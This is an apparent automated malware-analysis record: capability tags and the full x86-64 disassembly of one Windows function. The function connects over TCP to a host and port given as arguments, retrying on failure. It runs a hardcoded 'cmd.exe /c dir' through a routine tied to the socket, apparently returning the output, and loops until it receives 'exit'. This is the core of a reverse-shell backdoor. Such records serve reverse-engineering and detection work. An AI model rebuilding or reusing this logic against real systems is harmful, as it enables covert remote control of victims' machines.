Function at 0x1400026e9
Capabilities:
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push rbp
push rbx
sub rsp, 0x728
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x6c0], rcx
mov dword [rbp + 0x6c8], edx
lea rax, [rbp + 0x3e0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
setne al
test al, al
je 0x140002790
lea rax, [rbp + 0x5af]
mov qword [rbp + 0x690], rax
nop
nop
lea rdx, [rbp + 0x5af]
lea rax, [rbp + 0x580]
mov r8, rdx
lea rdx, str.WSAStartup_failed
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x580]
mov rcx, rax
call sym.LogError_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x580]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x5af]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov ecx, 1
call sym.exit
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x3d8], rax
mov rax, qword [rbp + 0x3d8]
cmp rax, 0xffffffffffffffff
jne 0x14000282e
lea rax, [rbp + 0x5df]
mov qword [rbp + 0x688], rax
nop
nop
lea rdx, [rbp + 0x5df]
lea rax, [rbp + 0x5b0]
mov r8, rdx
lea rdx, str.Socket_creation_failed
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x5b0]
mov rcx, rax
call sym.LogError_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x5b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x5df]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x140002b5b
mov qword [rbp + 0x3c0], 0
mov qword [rbp + 0x3c8], 0
mov word [rbp + 0x3c0], 2
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x3c4], eax
mov eax, dword [rbp + 0x6c8]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x3c2], ax
lea rdx, [rbp + 0x3c0]
lea rax, [rbp + 0x3d8]
mov r9d, 0x1388
mov r8d, 5
mov rcx, rax
call sym.ConnectWithRetry_unsigned_long_long__sockaddr_in_const__int__int_
xor eax, 1
test al, al
je 0x1400028c2
mov rax, qword [rbp + 0x3d8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
jmp 0x140002b5b
lea rax, [rbp - 0x40]
mov r8d, 0x400
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x3d8]
lea rdx, [rbp - 0x40]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x69c], eax
cmp dword [rbp + 0x69c], 0
jg 0x140002981
mov rax, qword [rbp + 0x3d8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
lea rax, [rbp + 0x60e]
mov qword [rbp + 0x680], rax
nop
nop
lea rdx, [rbp + 0x60e]
lea rax, [rbp + 0x5e0]
mov r8, rdx
lea rdx, str.Receive_failed_or_connection_closed
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x5e0]
mov rcx, rax
call sym.LogError_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x5e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x60e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
jmp 0x140002b5b
lea rax, [rbp + 0x60f]
mov qword [rbp + 0x678], rax
nop
nop
lea rdx, [rbp + 0x60f]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, str.cmd.exe__c_dir
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x60f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov rdx, qword [rbp + 0x3d8]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.ExecuteCommand_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long_
lea rax, [rbp - 0x40]
mov r8d, 0x400
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x3d8]
lea rdx, [rbp - 0x40]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x69c], eax
cmp dword [rbp + 0x69c], 0
jg 0x140002a95
mov rax, qword [rbp + 0x3d8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
lea rax, [rbp + 0x63f]
mov qword [rbp + 0x670], rax
nop
nop
lea rdx, [rbp + 0x63f]
lea rax, [rbp + 0x610]
mov r8, rdx
lea rdx, str.Receive_failed_after_process_execution
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x610]
mov rcx, rax
call sym.LogError_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x610]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x63f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov ebx, 0
jmp 0x140002b4c
lea rax, [rbp - 0x40]
lea rdx, str.exit_n
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140002b34
lea rax, [rbp + 0x667]
mov qword [rbp + 0x668], rax
nop
nop
lea rdx, [rbp + 0x667]
lea rax, [rbp + 0x640]
mov r8, rdx
lea rdx, str.Exit_command_received._Terminating.
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x640]
mov rcx, rax
call sym.LogActivity_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x640]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x667]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov rax, qword [rbp + 0x3d8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 0
call sym.exit
mov rax, qword [rbp + 0x3d8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov ebx, 1
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jmp 0x140002790